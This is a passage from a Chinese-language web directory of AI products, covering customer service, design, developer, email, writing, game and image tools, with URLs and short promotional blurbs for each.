https://forethought.ai/ Forethought 的 AI 平台自动化并优化了整个支持工单生命周期。降低支持成本,同时在每次客户交互中提供顶级服务。 Typewise 顾客服务 https://typewise.app 提高客户服务和销售效率。我们强大的 AI 解决方案可为用户和公司节省时间并改善沟通。立即预订演示! Ebi.Ai 顾客服务 https://ebi.ai 通过 AI 助手减少通话量并改善客户体验。 Harvey 顾客服务 https://hiverhq.com/harvey-ai-customer-support 提高团队生产力的 AI Sidekick Cohere 顾客服务 https://cohere.io/ 零设置即可查看和控制用户的屏幕。以前所未有的速度解决问题,保护和增加收入,让客户爱上您的产品 Maya 顾客服务 https://maya.ai 每个人都因 AI 驱动的个性化而获益:客户、银行和商家。 Tiledesk 顾客服务 https://tiledesk.com/ 将免费实时聊天与开源聊天机器人相结合以提高投资回报率。将 Chatbots 与 WhatsApp 或其他渠道集成,为所有通信提供一个收件箱。 Xokind 顾客服务 https://www.xokind.com/ 用于客户支持、差旅和销售的强大 AI 代理。XOKind 为产品和数据团队提供人工智能平台,通过简单的 API 端点利用机器学习和大型人工智能模型。 Delve 顾客服务 https://www.delve.ai/ 为您的企业和您的竞争对手企业自动创建角色 Kaizan 顾客服务 https://kaizan.ai/ Kaizan 是客户成功团队保持和增加收入的客户智能平台 echowin 顾客服务 https://echo.win/ 使用 AI 自动来电。获取新电话号码或使用现有电话号码。您的客户将致电我们的人工智能系统,该系统将帮助他们获得所需的答案、执行业务任务或在需要时将他们联系到合适的人。在我们处理电话的同时,您可以专注于经营您的业务! Puzzle 顾客服务 https://www.puzzlelabs.ai/ 为您的社区和客户提供的 AI 支持的词汇表。使用功能强大的词汇表让您的产品、服务和社区更加清晰。 Magician (Figma) 设计助手 https://magician.design/ 由 AI 提供支持的 Figma 神奇设计工具。Magician 是一个 Figma 插件,可让您利用 AI 的力量进行设计,以完成从文案撰写到从文本生成独特图标的所有工作。每个魔法咒语都与您一起工作,以在您设计时扩展您的创造力和想象力。 Uizard 设计助手 https://uizard.io/ 使用世界上第一个人工智能驱动的设计工具 Uizard,在几分钟内设计数字产品、移动应用程序、网站模型和线框图!立即注册。 Clickable 设计助手 https://www.clickable.so 适用于所有营销渠道的精美、品牌一致且转化率高的广告。无需设计经验。 Diagram 设计助手 https://diagram.com 设计更智能。神奇的产品设计新方法。 Microsoft Designer 设计助手 https://designer.microsoft.com 使用 Microsoft Designer 瞬间完成令人惊叹的设计。从简单的文字描述开始,然后为您的设计创建图像! Designs AI 设计助手 https://designs.ai/ 在 2 分钟内使用 AI 创建徽标、视频、横幅和模型。 Pinegraph 设计助手 https://pinegraph.com/ 成为 Pinegraph 的艺术家。借助 Pinecasso AI 的强大功能,将您的想象力变为现实。只需描述您的需求,剩下的交给 Pinecasso 来做。 Pattern Maker AI 设计助手 https://patternmakerai.com/ 使用人工智能生成无缝矢量模式。您还可以浏览其他已公开的生成模式。 Illustroke 设计助手 https://illustroke.com/ 来自文本提示的令人惊叹的 SVG 插图使用我们的文本到 SVG AI 工具创建一些独特的东西。 Pictorial 设计助手 https://pictorial.ai/ 第一个真正对您的业务有用的生成式 AI 应用程序。为您网站的视觉效果而苦恼?让 AI 来处理。 Hotpot.ai 设计助手 https://hotpot.ai Hotpot 帮助您创建专业的图形和图片。人工智能工具让专家和消费者能够激发创造力并自动完成繁琐的工作。易于编辑的模板使任何人都可以创建设备模型、社交媒体帖子、营销图片、应用程序图标和其他工作图形。 Autodraw 设计助手 https://autodraw.com Autodraw 是一种 AI 工具,可让您通过猜测要绘制的对象或形状来更快地绘制。 Vizcom 设计助手 https://www.vizcom.ai/ 看到您的绘图在几秒钟内栩栩如生,而不是几小时。 Dimensions 设计助手 https://www.dimensions.ink 只需单击几下,Dimensions 可帮助您将粗略的草图、照片甚至纯文本变成高度详细的概念。专注于创造力,而不是没完没了的例行公事。 StockImg AI 设计助手 https://stockimg.ai/ 使用 AI 设计服务的文本。使用 AI 生成徽标、库存图像、海报、书籍封面和更多设计。 AI2image 设计助手 https://www.ai2image.com/ AI 在几秒钟内生成您的自定义图像。您可以通过简单的英文描述为您的网站、博客或社交媒体生成图像。 AIGraphics 设计助手 https://aigraphics.io/ 使用 AI 在几秒钟内创建精美的定制图形。您可以使用它来创建社交图像、youtube 缩略图、徽标创意、照片和插图。 CandyIcons 设计助手 https://www.candyicons.com/ 为您的产品寻找漂亮的应用程序图标。访问我们大量精美的应用程序图标并选择您最喜欢的图标。您将获得完整的版权所有权和支持 iOS、macOS 和 Android 项目的独特高质量图标。还有一个定制的图标生成器。 IllostrationAI 设计助手 https://www.illostration.com 创建 AI 生成的插图。在几秒钟内的唯一性。我们目前处于公开测试阶段。注册以获得早期访问权限。 Patterned AI 设计助手 http://patterned.ai/ 人工智能生成的无缝模式。使用我们的 AI 模型为您的产品或服务生成定制设计。您还可以搜索数以千计的免版税库存图片,以立即用于您自己的设计。 Designify 设计助手 https://www.designify.com/ 使用您喜欢的照片创建自动设计。通过自动删除背景、增强颜色、调整智能阴影等,选择任何图像来创建 AI 支持的设计。立即保存、下载或共享您的设计。 CSM 开发者工具 https://csm.ai/ Common Sense Machines 提供 API、接口和开源软件,将多模式输入和体验转化为用于 AI 训练和内容创建的数字模拟器。我们认为,学习生成世界模型是实现 AGI 的系统途径,类似于儿童从经验中了解其世界的方式。 RunPod 开发者工具 https://runpod.io 以 0.2 美元/小时的价格租用云 GPU。在 GPU 上节省超过 80%。借助用于 PyTorch、Tensorflow 或任何其他 AI 框架的 Jupyter,GPU 租赁变得轻松。 Moonbeam Exchange 开发者工具 https://moonbeam.ai Moonbeam Exchange 是一个数据科学平台,它利用 100 多个数据源为整个创新生态系统提供情报和洞察力。 Shumai (Meta) 开发者工具 https://github.com Shumai 是一个开源、快速、网络连接、可微分的 TypeScript(和 JavaScript)张量库。为软件工程师和研究人员等使用 bun + flashlight 构建。 SyntheticAIdata 开发者工具 https://syntheticaidata.com 加速您的视觉 AI 模型创建。合成数据是用于训练和改进 AI 模型的现实世界数据的廉价替代品。为了训练准确的人工智能模型,需要大量的数据。通过使用逼真的 3D 模型,您可以轻松创建用于 AI 分类和对象检测的合成数据。 Chatbotkit 开发者工具 https://chatbotkit.com 构建高级 AI 聊天机器人的最简单方法。我们的平台使开发人员和非开发人员都可以轻松构建可以用自然语言与用户交流的聊天机器人。 Pipeline AI 开发者工具 https://pipeline.ai 用于 ML 模型的无服务器 GPU 推理 用于在生产中运行 ML 的每毫秒付费 API。 Nuclia 开发者工具 https://nuclia.com Nuclia 自动为来自任何内部和外部来源的非结构化数据编制索引,提供优化的搜索结果。它可以处理视频和音频转录、图像内容提取和文档解析。 Tinq.ai - NLP API 开发者工具 https://tinq.ai 一组易于使用和尖端的 NLP API。流行的 API:文本生成 - 重写器/释义器摘要器将快速而强大的文本分析集成到您的应用程序中。从主题分类到情绪分析和实体提取,我们都能满足您的需求。让它在几天内发生,而不是几个月!文本分析:Plagarism Checker;自定义分类器;情绪分析;命名实体识别 Valyr 开发者工具 https://valyr.vercel.app 用一行代码简化 GPT-3 监控。要使用,请将基本 url 替换为 SDK。将您的 OpenAI 密钥添加到 Valyr 并在仪表板中查看请求。 GPUX.AI 开发者工具 https://gpux.ai GPU 一切。运行任何 Dockerized。运行自动缩放推理。节省成本50-90%。 RTutor 开发者工具 https://tutor.ai RTutor 是一款基于 AI 的应用程序,可以快速生成和测试 R 代码。在对 OpenAI 的 Davinci(ChatGPT 的兄弟)的 API 调用的支持下,RTutor 将自然语言翻译成 R 脚本,然后在 Shiny 平台内执行。可以生成 R Markdown 源文件和 HTML 报告。在此处查看 github 存储库:https://github.com/gexijin/RTutor Mintlify 开发者工具 https://mintlify.com 构建您一直想要的文档。开箱即用,易于维护,并针对用户参与进行了优化。 GptDuck 开发者工具 https://gptduck.com 针对任何 Github 存储库的问题回答。输入 Github 存储库,我们将其下载到服务器并针对代码创建嵌入。回购需要是公开的,<200 个文件,<100MB。 Textomap 开发者工具 https://textomap.com Textomap 是一个 Web 应用程序和浏览器扩展,使用户能够在几秒钟内从任何包含位置的文本生成交互式地图。没有代码、电子表格或复杂的工具——您的话就足够了。 HTTPie AI 开发者工具 https://httpie.io 使用通俗易懂的语言生成 API 请求。HTTPie 正在使 API 对于那些构建我们这个时代的工具的人来说变得简单和直观。 Quizgecko 教育助手 https://quizgecko.com 人工智能驱动的测验问题生成器。使用人工智能制作您自己的测验。非常适合教师、电子学习和人力资源专业人士。或者只是为了好玩而生成独特的琐事问题和答案!简单粘贴文本,输入 URL,或上传文件并点击生成。从多项选择题、简答题或判断题中选择。 WolframAlpha 教育助手 https://wolframalpha.com 使用 Wolfram 的突破性算法、知识库和 AI 技术计算专家级答案。面向数学、科学与技术、社会与文化以及日常生活等主题。 TutorAI 教育助手 https://tutorai.me Tutor AI 是一个人工智能驱动的学习平台。您可以输入任何主题,它会为您提供各种选项,您可以使用这些选项来了解该主题。 MindSmith 教育助手 https://mindsmith.ai Mindsmith 是您创建和分享微课程的实验室。世界变化太快,不能依赖笨重、过时的设计软件。无论您是培训团队、教授课程,还是只是需要一种清晰的方式来分享您的知识,都可以使用一套 AI 辅助的直观设计工具,让您的学习者在永不停歇的行业和学科中取得成功。 Yip 教育助手 https://yippity.io 输入您的笔记,Yip 会自动从中生成问题。 MateAI 邮件助手 https://mateai.io 更快地为您的电子邮件活动生成文案和设计。🇬🇧 🇮🇹 提供英语、意大利语和其他 5 种语言版本。 Ellie 邮件助手 https://ellieai.com Ellie 从您的写作风格中学习,并像您写的一样精心回复。 Ipso AI 邮件助手 https://ipso.ai 一个 AI 助手,它使用您的日历起草用于安排会议的电子邮件回复,由 GPT3 提供支持。 Luna 邮件助手 https://getluna.dev 使用 Luna 即时个性化冷电子邮件。这些天自动消息已经死了。使用 Luna 获得更多关于冷电子邮件的回复 - 世界上第一个使用 AI 每天推荐新的高质量潜在客户并向他们发送他们应得的个人电子邮件的软件应用程序。 PolitePost 邮件助手 https://politepost.net PolitePost 将您的电子邮件重写为礼貌、礼貌和安全的工作方式。非常适合当您在写电子邮件时感到沮丧并且需要 AI 来保持礼貌! Pipl.ai 邮件助手 https://pipl.ai 很难大规模发送冷电子邮件。我们让它变得轻而易举。连接无限的收件箱,享受所有帐户的免费预热、内置电子邮件验证和数据清理、人工智能驱动的序列和模板编写器等等...... Postaga 邮件助手 https://postaga.com 比以往更轻松地发送冷电子邮件。 DraftLab 邮件助手 https://draftlab.ai 您的 Gmail 副驾驶。更快地写出更好的电子邮件。使用适用于 Gmail 的 DraftLab Chrome 扩展,将收件箱归零的速度提高 10 倍。 SuperReply 邮件助手 https://superreply.co Superreply 使用其 AI 驱动的电子邮件回复工具处理编写电子邮件回复的所有艰苦工作。轻松匹配语调并选择最匹配的电子邮件。 Quicklines 邮件助手 https://quicklines.ai Quicklines 自动创建个性化的破冰机制以注入冷电子邮件。上传 CSV,等待 3 分钟,然后收到写有行的表格。将这些行放入冷电子邮件的第一句中,您会看到您的回复增加了 3 到 7 倍。 Instantly 邮件助手 https://instantly.ai 立即帮助您产生更多回复和更多收入。通过无限制的电子邮件发送帐户、无限制的预热和智能 AI 扩展您的外展活动。 Creatext 邮件助手 https://creatext.ai Creaext 可帮助您立即研究您的潜在客户并编写超个性化的电子邮件和 LinkedIn 消息。 ChatGPT Writer 邮件助手 https://chatgptwriter.ai 免费的 Chrome 扩展,使用 ChatGPT AI 根据您输入的几个关键字生成电子邮件或回复。目前支持 Gmail。支持所有流行语言,只需在文本提示中提及即可。 Ortto 邮件助手 https://ortto.com Ortto AI 可帮助您编写高性能的电子邮件主题行,从大纲中引人入胜的短信和电子邮件内容。驱动结果的是智慧。 Warmer.ai 邮件助手 https://warmer.ai Sky 使用 AI 生成的独特个性化设置让您的冷邮件大放异彩。 Robin 邮件助手 https://hellorobin.ai 由 GPT 编写的自动冷电子邮件外展。借助 Robin AI,您可以轻松有效地接触潜在客户、进行研究并处理初始外展——所有这些都不需要人工销售助理。 Magicreach 邮件助手 https://magicreach.ai Reach 是一种外展个性化和销售支持工具,可为冷外展生成超个性化破冰船。获得回复的更快的电子邮件个性化。 Alethea 实验 https://alethea.ai Alethea AI 致力于实现交互式智能 NFT (iNFT) 的创建。 Ask My Book 实验 https://askmybook.com Ask My Book 是 Gumroad 创始人 Sahil Lavingia 的一项人工智能实验,目的是让他的书更容易阅读。您可以使用“问我的书”来提出问题,然后用他的声音得到答案。 Talk To Books 实验 https://books.google.com 一种探索思想和发现书籍的新方法。使用实验性 AI 发表声明或提出问题以浏览书中的段落。 VisualHound 时尚 https://visualhound.com 使用 AI 为您的时装设计创意制作原型。创建无限逼真的产品图像来满足您的情绪板并促进您的设计过程。在投入生产之前轻松可视化您的产品设计。 FashionAdvisorAI 时尚 https://fashionadvisorai.com 从 FashionAdvisorAI 提问并获得答案。它使用人工智能来帮助您找到时尚问题的答案。用它来打扮自己。 Cala 时尚 https://ca.la CALA 使您可以轻松设计、生产和交付您自己的完全定制的时尚产品。CALA 提供您可能需要的一切。设计协助。材料采购。采样。借助应用程序内通知、任务管理和实时评论等强大功能,您可以在工作室或旅途中最大限度地提高工作效率。 Botika 时尚 https://botika.io Botika 利用生成式 AI 的力量帮助在线服装零售商和小型企业减少制作时尚照片的麻烦、成本和时间,同时在各种模型上获得 10 倍以上的输出。 AskThee 趣味工具 https://askthee.vercel.app 向伟大的思想家、艺术家或科学家提问。目前拥有亚里士多德、阿西莫夫、卡尔萨根等人物。 Unreal Meal 趣味工具 https://unrealmeal.ai AI 生成的不存在的膳食图像的集合。您可以将这些图像用于多种用途,例如开发新食谱或作为创意项目的一部分。 Tattoos AI 趣味工具 https://tattoosai.com 与您的个人 AI 纹身艺术家一起创造完美的纹身设计如果您有纹身的想法但找不到合适的设计,让我们的 AI 在几秒钟内生成一个。它可以让您根据自己的喜好创建完美的设计,并为您提供无限的选择,让每个人都能找到适合自己的东西。 ELI5 趣味工具 https://explainlikeimfive.io 像我五岁一样解释 (ELI5) 是一个使用 AI 简化复杂主题的网站,这样即使是孩子也能理解它们。用户可以选择一个特定的主题,并选择他们希望解释的简单程度,范围从“非常愚蠢”到“非常聪明”。一些例子是——“计算机是如何工作的?” 和“生命的意义是什么?” MovieToEmoji 趣味工具 https://movietoemoji.netlify.app 一个有趣的应用程序,可以将电影名称转换为相应的表情符号! Santa AI 趣味工具 https://santa.artflow.ai 想为假期增添一些额外的魔力吗?查看世界上第一个可定制的会说话的圣诞老人 - 第一次您可以创建自己独特的圣诞老人视频问候并与您所爱的人分享! Supermeme.ai 趣味工具 https://supermeme.ai 生成由 AI 提供支持的 110 多种语言的原创模因。使用我们的 AI 模因生成器加强您的模因营销游戏。 Jokelub 趣味工具 https://jokelub.com 轻轻一按,将您的文章变成一个笑话。让人们微笑。 Hello History 趣味工具 https://hellohistory.ai 您将能够与历史上一些有影响力和迷人的人物进行深入对话。对话是由人工智能生成的,所以不要太当真。每个对话都是独一无二的,你永远不知道它会去哪里。 AskNow 趣味工具 https://asknow.ai 向名人提出任何问题,并获得带有参考资料的 AI 总结答案。以 Elon Musk、Naval Ravikant、Paul Graham、Serena Williams 等人物为特色。 Chai 游戏 https://chai.ml 允许您为成千上万的用户构建和部署 AI 聊天机器人的移动应用程序。与人工智能聊天。 AIDungeon 游戏 https://play.aidungeon.io 玩和创造具有无限可能性的 AI 生成的冒险。 AI Careers 游戏 https://aicareers.io 人工智能求职变得简单。释放数据的潜力以推动创新。 PICLY : AI generated spot the difference 游戏 https://picly.ai 简单易行。AI 生成的“找不同”点击您想要的区域,AI 会为您完成。 EndlessVN 游戏 https://endlessvn.io 所有的故事都结束了。除了这个。Endless Visual Novel 是一款 AI 讲故事游戏,其中所有资产(图形、音乐、故事和角色)均由 AI 在您玩游戏时生成。没有两个游戏是完全相同的。 The Simulation 游戏 https://fablesimulation.com The Simulation 是一个以人工智能为中心的元宇宙。由复杂的机器学习、游戏设计、NFT 和 ERC20 代币 $SIM 提供支持 Playstrict 游戏 https://playstrict.com 让我们让您的游戏更加成功!您有一款很棒的游戏,但没有营销能力来扩大规模?使用 Playstrict Gaming Growth 平台将您的推广策略提升到一个新的水平。你准备好了吗? LitRPG Adventures 游戏 https://litrpgadventures.com 高级桌面 RPG 生成器 + 内容库 D&D 背景故事生成器?那不是全部。立即访问由 OpenAI 的 GPT-3 提供支持的超过 2 打奇幻 RPG 生成器。会员还可以访问我们不断增长的充满桌面角色扮演游戏内容的角色扮演游戏库 Hexagram 游戏 https://hexagram.io 我们使用人工智能创造环境体验。使用聊天、故事和数据来融合小说和现实的游戏。 GGPredict 游戏 https://ggpredict.io 每天不到 30 分钟,借助 AI 生成的培训的力量提高您的 CS:GO 技能。训练更智能。排名更快。 AI Roguelite 游戏 https://store.steampowered.com 世界上第一款所有实体均由 AI 生成且所有游戏机制均由 AI 检测的角色扮演游戏。它有人工智能生成的实体、制作配方、战斗和插图。 Quasi 综合写作 https://quasi.market 使用人工智能创造艺术、代码、音乐等。 Writewithlaika 综合写作 https://writewithlaika.com 作家的神奇机器学习 SmartScribe 综合写作 https://smartscribe.app 写作变得更容易... SmartScribe 通过使用人工智能帮助解决阅读和写作的复杂性。 nichess 综合写作 https://nichesss.com 忘记作家块。只需单击一个按钮,即可获取博客文章、广告、社交媒体内容、诗歌、商业创意等。我们的机器人会为您编写一切。 Compose 综合写作 https://compose.ai Compose 是一款免费的 Chrome 扩展程序,可让您使用 AI 自动进行写作。我们不应该每天花 40% 的时间打字:是时候改变游戏规则了。 Text Generator Plugin 综合写作 https://text-gen.com Text Generator 是一种开源 AI 助手工具,它将生成式人工智能的力量带入了 Obsidian 中知识创造和组织的力量。例如,使用文本生成器根据您的知识数据库生成想法、有吸引力的标题、摘要、大纲和整个段落。可能性是无止境! WebCopilot 综合写作 https://webcopilot.co 用 AI 编写您的概念页面。只需开始,让 AI 为您写作。加快您的写作过程并专注于重要的事情。 Frase 综合写作 https://frase.io Frase 在文案写作、总结、释义和广告等类别中提供了多种有用的 AI 写作工具。 Notion AI 综合写作 https://affiliate.notion.so 在任何概念页面中利用 AI 的无限力量。写得更快,想得更远,并增强创造力。像魔法一样! LanguageTool 综合写作 https://languagetool.org LanguageTool 纠正拼写错误,但它也提供所有可能文本的完整写作分析。除了拼写、语法和单词选择之外,语言风格也会得到纠正。掌握30多种语言和方言,主要语言有英语、西班牙语、德语、法语、荷兰语、葡萄牙语。在其英文版中,您可以在六个标准品种之间进行选择。除了纠正之外,LanguageTool 还提供基于 AI 的改写功能。这可以帮助您重写整个句子,使它们更简单、更短或更正式。 AIDuh 综合写作 https://aiduh.com Chrome 扩展程序通过 AI 支持的响应将您的写作时间缩短 98%。 Writely 综合写作 https://writelyai.com 让所有人都能接触到写作艺术。无论您是需要减少字数、进一步阐述还是简单地改写一个句子,Writely 都可以提供帮助! Grammarly 综合写作 https://app.grammarly.com 使用 Grammarly 的新人工智能应用程序自信地写作。通过自动建议超越语法和拼写风格和语气。适用于电子邮件、文档、社交媒体和几乎所有内容。 Proposal Genie 综合写作 https://proposalgenie.ai 人工智能驱动的工具,可帮助在 Upwork 上创建专业提案。易于使用,允许您从任何设备创建提案,构建可重复使用的配置文件,并添加关键字和语气等可选字段。 Detect GPT 综合写作 https://chrome.google.com 查看您浏览的页面是否包含 AI 生成的内容。Detect GPT 扫描您正在查看的网页内容并对其进行分析,以确定是否有任何内容是使用 GPT 语言模型生成的。 LuciaAI 综合写作 https://luciaai.com 高级AI写作助手。露西亚使用最新最先进的人工智能技术。使用 Lucia,您可以比以往更快更好地书写。 CaliberAI 综合写作 https://caliberai.net CaliberAI 有助于将您因 AI 诽谤的风险降至最低。它近乎实时地标记高风险内容,专为协助编辑和加强人工监督而设计。具有根据您组织的风险承受能力量身定制的自定义阈值的 API。 HelloScribe 综合写作 https://helloscribe.ai 更好的写作。伟大的想法。变得简单。向 10 倍更快的写作和头脑风暴问好,没有创意障碍或浪费时间。HelloScribe 易于使用的 AI 工具可帮助 PR 和营销专业人员更智能地工作。 WordAI 综合写作 https://wordai.com 使用 AI 将您的内容输出提高 10 倍。使用人工智能来缩短周转时间、增加预算并创建更多 Google 和读者会喜欢的高质量内容。 Wordtune 综合写作 https://wordtune.com Wordtune 是终极 AI 写作工具,可以重写、改写和改写您的作品!Wordtune 受到超过 1,000,000 名用户的信任,可以增强文章、学术论文、随笔、电子邮件和任何其他在线内容。 Redacta.me 综合写作 https://redacta.me 您的虚拟社区经理。使用人工智能快速、轻松、经济地创建原始西班牙语文本。我们专门训练人工智能用西班牙语写出好的文章。 Othersideai 综合写作 https://othersideai.com 您的个人写作助理。无论您在哪里写作,HyperWrite/OthersideAI 都会提供建议和句子补全来改进您的写作。 Glasp 综合写作 https://glasp.co Glasp 是一种社交网络荧光笔,人们可以使用它来突出显示和组织来自网络的引用和想法,而无需在屏幕之间来回切换,并同时访问其他志趣相投的人的学习成果。为人类留下您的数字遗产,同时为自己工作。他们还提供了一个总结 Youtube 视频的工具。 ParagraphAI 综合写作 https://paragraphai.com ParagraphAI 是一款人工智能写作应用程序,可以编写清晰、简洁、无错误的内容。 DREAM.page 综合写作 https://dream.page 借助 AI 的魔力写作和发布!立即加入候补名单。 Maester.app 综合写作 https://maester.app 使用我们直观的模板引擎释放 GPT-3 的全部潜力。快速生成根据您的重复需求量身定制的自定义输出,并与全世界分享。它可以在内容管理、大学和工作以及软件开发方面为您提供帮助。 Elephas 综合写作 https://elephas.app 唯一与您的 Mac 集成的 AI 编写器。跨应用程序工作。 Sudowrite 综合写作 https://sudowrite.com 用我们神奇的写作 AI 打破作家的瓶颈。您随时可用的头脑风暴伙伴。无需寻找 Beta 读者即可获得 Beta 反馈。“展示,而不是讲述”?我们有一个按钮。 Lex 综合写作 https://lex.page 解锁你最好的写作 HandyPlugins 综合写作 https://handyplugins.co Handywriter 是一款人工智能写作助手,可以帮助您为 WordPress 创建内容。它可以检查抄袭,甚至可以修复语法和拼写错误。 Penelope AI 综合写作 https://penelope-ai.vercel.app 一个成熟的人工智能写作助手。毫不费力地加快您的写作速度 - 释义、总结、生成故事或 AI 自动完成。 Giftastic.ai 礼物创意 https://giftastic.ai Giftastic.AI 是一个个性化的礼物推荐引擎,它使用您要购物的人的个人特征,并推荐他们会喜欢和欣赏的独特而贴心的礼物。 Gifts Genie 礼物创意 https://gen.gifts Genie 是一款由 AI 驱动的生日礼物创意生成器。无需再费力想出完美的礼物 - 只需告诉生成器一些关于此人的事情,它就会为您生成礼物创意。它旨在减轻送礼的压力。 Suggest Gift 礼物创意 https://suggest.gift 您是否正在为寻找送给心爱之人的完美礼物而苦恼?不要再观望!我们的工具使用最新的 AI 技术来帮助您发现完美的礼物。告别送礼的压力,让我们的技术为您代劳。 Cool Gift Ideas 礼物创意 https://coolgiftideas.io 送出完美的礼物!根据每个人的身份发现适合他们的创意礼物。 Elf Help 礼物创意 https://elfhelp.ai 节日礼物 inspo。Elf Help 是您的终极送礼助手,可为您列表中的每个人免费提供富有创意和个性化的建议。 Whisper AI 医疗保健 https://whisper.ai 这是一款人工智能助听器。借助 AI,它可以学习并适应不同的听力情况,例如嘈杂的购物市场或家庭聚会。它提供从新功能到声音处理的定期软件升级。 Cradle 医疗保健 https://cradle.bio Cradle 使用强大的预测算法和 AI 设计建议帮助生物学家在创纪录的时间内设计出改进的蛋白质。 SwagAI 人力资源 https://useslingshot.com SwagAI 是一种 AI 工具,可以帮助你想出可笑的公司 swag。只需告诉我们您在寻找什么,我们的算法就会推荐疯狂(但有时实用)的选项。 Autumn AI 人力资源 https://getautumn.com 在没有调查的情况下测量倦怠并防止它。Autumn 与您已经使用的工具相关联,利用 AI 帮助您识别倦怠的早期迹象,并在您的团队中发现模式,例如增加会议、减少 1:1 的频率或周末发送更多消息。不仅仅是数据——秋季也能帮助您采取行动!在每次 1:1 之前获得 1:1 问题提示,为您的团队量身定制,这样您就不必怀疑自己是否提出了正确的问题。每周都会向您发送团队见解,通过 Slack 中有趣且互动的每周总结,帮助您的团队无需额外努力(或其他 Zoom 社交)就能感受到联系。 Dost 人力资源 https://getdost.com 使用 Dost 的 AI 支持的 Slack 和 MSTeams 应用程序创建安全、无偏见、无微攻击、包容的消息。 GeniusReview 人力资源 https://geniusreview.xyz 360° AI 性能评估。使用 GeniusReview 为您的绩效评估问题获得量身定制的答案,从而节省大量时间。 Moveworks 人力资源 https://moveworks.com Moveworks 是第一个使用 AI 解决工作问题和预防问题的员工体验平台。它会自动解决请求、传达更改并向您的团队展示下一步要解决的问题——让您将沮丧的时刻变成神奇的时刻。由于我们的对话式 AI(聊天机器人)精通 100 多种语言,因此 Moveworks 可以在全球范围内提供从总部到家庭办公室的即时帮助。 HireYaY 人力资源 https://hireyay.com 再也不会错过合格的候选人。使用 AI 制作引人入胜的招聘广告。一键分发给百万求职者 JobtitlesAI 人力资源 https://jobtitlesai.com 准确限定任何职位。我们的机器学习 API 将职位分为两类:领域(销售、财务、IT..)和职位(执行官、管理、助理...),因此您可以优先考虑您感兴趣的职位。 Magic Eraser 图像编辑 https://magiceraser.io 在几秒钟内从图像中删除不需要的东西。上传图像,标记您需要删除的位,下载修复后的图像。 Photoroom 图像编辑 https://photoroom.com 仅使用您的手机创建产品和肖像图片。删除背景、更改背景和展示产品。 Green Screen AI 图像编辑 https://greenscreenai.com Green Screen AI 可让您将图片背景更改为您能想到的任何内容!使用生成式 AI,您可以将您的狗放在外星丛林中,或者将您的猫变成太空牛仔。 Nostalgia Photo 图像编辑 https://nostalgia.photo Nostalgia Photo 使用最新的尖端人工智能技术让旧照片重现生机。只需点击几下和几美分即可获得最高分辨率。 RestorePhotos 图像编辑 https://restorephotos.io 为所有人使用 AI 修复旧照片。有旧的和模糊的面部照片吗?让我们的 AI 恢复它们,让这些记忆得以延续。100% 免费 – 立即恢复您的照片。 Remove.bg 图像编辑 https://remove.bg 一键式在 5 秒内自动 100% 删除背景。多亏了 remove.bg 的智能 AI,您可以缩短编辑时间 - 并获得更多乐趣! Perfectly Clear Video 图像编辑 https://eyeq.photos Perfectly Clear Video 提供即时、自动的照片校正和视频增强功能。是全球领先的图像自动校正和AI视频增强提供商。 AI. Image Enlarger 图像编辑 https://imglarger.com 多合一 AI 工具包可帮助您增强和提升图像质量。在不损失质量的情况下提高图像分辨率。 Bg.Eraser 图像编辑 https://bgeraser.com 强大的人工智能修复和图片清理技术。在几秒钟内删除不需要的对象和水印。 Hama - Image Editing 图像编辑 https://hama.app 瞬间擦除图像中的人物或物体。 Topaz Photo AI 图像编辑 https://topazlabs.com 在自动驾驶仪上最大化您的图像质量。使用明天的技术锐化、消除噪点并提高照片的分辨率。Topaz Photo Al 可增强您的图像质量,让您可以专注于摄影的创意部分。 Palette.fm 图像编辑 https://palette.fm 自动为黑白图片着色,无需注册,而且免费! Visio Studio 图像编辑 https://visio.studio 先进的背景去除工具,由计算机视觉技术提供支持。Visio Studio 允许您直接从手机编辑和优化图片。 Evoto AI 图像编辑 https://evoto.ai Evoto 是下一代照片编辑器,可将您从繁琐的工作中解放出来,让您以 10 倍的速度处理数千张照片并获得卓越的质量,并帮助您将想象力变为现实。 Erase.bg 图像编辑 https://erase.bg 免费从图像中删除背景。从人类、动物或物体的图像中去除背景,并免费下载高分辨率图像。 Bria 图像编辑 https://bria.ai 集成 Bria 的人工智能 API 以自动化和扩展视频和图像的创建。 QuickTools by Picsart 图像编辑 https://tools.picsart.com 借助 Picsart Quicktools,您可以访问范围广泛的工具,从而轻松转换文件类型、创建自定义日历、增强图像等。所有这些工具都方便地位于一个地方。 Radiant Photo 图像编辑 https://radiantimaginglabs.com 你的照片应该是容光焕发的。获得具有完美色彩再现的优质成品照片,并在创纪录的时间内交付给您。您的照片 — 简直容光焕发。他们本来的样子。 Let's Enhance 图像编辑 https://letsenhance.io 图像增强器和升级器。自动 AI 编辑器可在不降低质量的情况下提高图像分辨率。一键让您的照片呈现最佳效果 Stable Horde 图像生成器 https://stablehorde.net 深度学习文生图模型工作者的众包分布式集群。还提供无需安装和技术专业知识的客户端界面 Go Charlie 图像生成器 https://gocharlie.ai 单击按钮即可创建图像、博客、广告、网站标题。 Stable Diffusion 图像生成器 https://stability.ai Stable Diffusion 是一种深度学习的文本到图像模型,于 2022 年发布。它主要用于生成以文本描述为条件的详细图像,但它也可以应用于其他任务,例如修复、修复和生成图像到- 由文本提示引导的图像翻译。 Getimg.ai 图像生成器 https://getimg.ai 使用 AI 创建图像所需的一切。神奇的 AI 艺术工具。生成原始图像、修改现有图像、将图片扩展到原始边界之外等等。 Aragon - Image Generation 图像生成器 https://aragon.ai 使用 AI 以 10 倍的速度创建令人惊叹的艺术作品和图像。 RocketAI 图像生成器 https://rocketai.io 设计的未来是可编程的。Rocket AI 是一个 SaaS 平台,可使用 AI 创建和编辑产品图像并改善电子商务销售和广告效果。我们为电子商务企业提供人工智能解决方案,以改善他们的产品形象,并从简单的文本提示中产生新的想法和设计概念。 Pollinations 图像生成器 https://pollinations.ai Pollinations 希望使创造力多样化,并通过数字生态系统传播它。无论是图像、视频还是音频,我们都邀请人们借助 AI 想象新世界。对于公司,我们的开发人员在最新的 AI 模型之上编写代码,提供定制的结果和特定的美学。借助 API,AI 创作可以直接集成到网站和社交媒体平台中。创作变得简单、快速和有趣。 Diffusion Land 图像生成器 https://diffusion.land Diffusion Land 允许您使用各种 AI 模型来生成图像。他们还有几个预建的概念,您可以使用这些概念来生成某些类型的图像。 DallE-2 图像生成器 https://openai.com DALL·E 2 可以根据文字描述创建原创、逼真的图像和艺术作品。它可以组合概念、属性和样式。 Getalpaca 图像生成器 https://getalpaca.io alpaca 是一个 Photoshop 插件,用于将 AI 图像生成能力与人类技能相结合。 Canva Text to Image 图像生成器 https://canva.com 可生成您描述的任何图像的全新技术。 Stock AI 图像生成器 https://stockai.com 